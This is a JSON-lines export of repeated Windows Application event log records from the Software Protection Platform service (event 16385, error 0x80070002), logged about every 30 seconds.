{"@timestamp":1659047584143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173571}}
{"@timestamp":1659047614149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173572}}
{"@timestamp":1659047644155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173573}}
{"@timestamp":1659047674162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173574}}
{"@timestamp":1659047704170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173575}}
{"@timestamp":1659047734177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173576}}
{"@timestamp":1659047764182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173577}}
{"@timestamp":1659047794189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173578}}
{"@timestamp":1659047824196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173579}}
{"@timestamp":1659047854202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173580}}
{"@timestamp":1659047884210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173581}}
{"@timestamp":1659047914216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173582}}
{"@timestamp":1659047944223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173583}}
{"@timestamp":1659047974230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173584}}
{"@timestamp":1659048004238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173585}}
{"@timestamp":1659048034244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173586}}
{"@timestamp":1659048064250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173587}}
{"@timestamp":1659048094257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173588}}
{"@timestamp":1659048124265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173589}}
{"@timestamp":1659048154272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173590}}
{"@timestamp":1659048184278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173591}}
{"@timestamp":1659048214284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173592}}
{"@timestamp":1659048244290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173593}}
{"@timestamp":1659048274297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173594}}
{"@timestamp":1659048304304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173595}}
{"@timestamp":1659048334310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173596}}
{"@timestamp":1659048364317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173597}}
{"@timestamp":1659048394323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173598}}
{"@timestamp":1659048424330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173599}}
{"@timestamp":1659048454336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173600}}
{"@timestamp":1659048484343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173601}}
{"@timestamp":1659048514349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173602}}
{"@timestamp":1659048544356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173603}}
{"@timestamp":1659048574366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173604}}
{"@timestamp":1659048604373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173605}}
{"@timestamp":1659048634380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173606}}
{"@timestamp":1659048664387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173607}}
{"@timestamp":1659048694393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173608}}
{"@timestamp":1659048724399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173609}}
{"@timestamp":1659048754405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173610}}
{"@timestamp":1659048784411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173611}}
{"@timestamp":1659048814417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173612}}
{"@timestamp":1659048844422,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173613}}
{"@timestamp":1659048874426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173614}}
{"@timestamp":1659048904432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173615}}
{"@timestamp":1659048934437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173616}}
{"@timestamp":1659048964442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173617}}
{"@timestamp":1659048994447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173618}}
{"@timestamp":1659049024452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173619}}
{"@timestamp":1659049054458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173620}}
{"@timestamp":1659049084464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173621}}
{"@timestamp":1659049114469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173622}}
{"@timestamp":1659049144475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173623}}
{"@timestamp":1659049174480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173624}}
{"@timestamp":1659049204485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173625}}
{"@timestamp":1659049234491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173626}}
{"@timestamp":1659049264497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173627}}
{"@timestamp":1659049294502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173628}}
{"@timestamp":1659049324508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173629}}
{"@timestamp":1659049354515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173630}}
{"@timestamp":1659049384521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173631}}
{"@timestamp":1659049414527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173632}}
{"@timestamp":1659049444534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173633}}
{"@timestamp":1659049474541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173634}}
{"@timestamp":1659049504546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173635}}
{"@timestamp":1659049534552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173636}}
{"@timestamp":1659049564558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173637}}
{"@timestamp":1659049594564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173638}}
{"@timestamp":1659049624570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173639}}
{"@timestamp":1659049654576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173640}}
{"@timestamp":1659049684583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173641}}
{"@timestamp":1659049714589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173642}}
{"@timestamp":1659049744596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173643}}
{"@timestamp":1659049774601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173644}}
{"@timestamp":1659049804607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173645}}
{"@timestamp":1659049834613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173646}}
{"@timestamp":1659049864620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173647}}
{"@timestamp":1659049894627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173648}}
{"@timestamp":1659049924635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173649}}
{"@timestamp":1659049954643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173650}}
{"@timestamp":1659049984651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173651}}
{"@timestamp":1659050014658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173652}}
{"@timestamp":1659050044666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173653}}
{"@timestamp":1659050074673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173654}}
{"@timestamp":1659050104679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173655}}
{"@timestamp":1659050134686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173656}}
{"@timestamp":1659050164692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173657}}
{"@timestamp":1659050194700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173658}}
{"@timestamp":1659050224706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173659}}
{"@timestamp":1659050254713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173660}}
{"@timestamp":1659050284721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173661}}
{"@timestamp":1659050314727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173662}}
{"@timestamp":1659050344733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173663}}
{"@timestamp":1659050374740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173664}}
{"@timestamp":1659050404746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173665}}
{"@timestamp":1659050434753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173666}}
{"@timestamp":1659050464759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173667}}
{"@timestamp":1659050494765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173668}}
{"@timestamp":1659050524772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173669}}
{"@timestamp":1659050554780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173670}}
{"@timestamp":1659050584786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173671}}
{"@timestamp":1659050614792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173672}}
{"@timestamp":1659050644799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173673}}
{"@timestamp":1659050674806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173674}}
{"@timestamp":1659050704812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173675}}
{"@timestamp":1659050734819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173676}}
{"@timestamp":1659050764826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173677}}
{"@timestamp":1659050794832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173678}}
{"@timestamp":1659050825715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173679}}
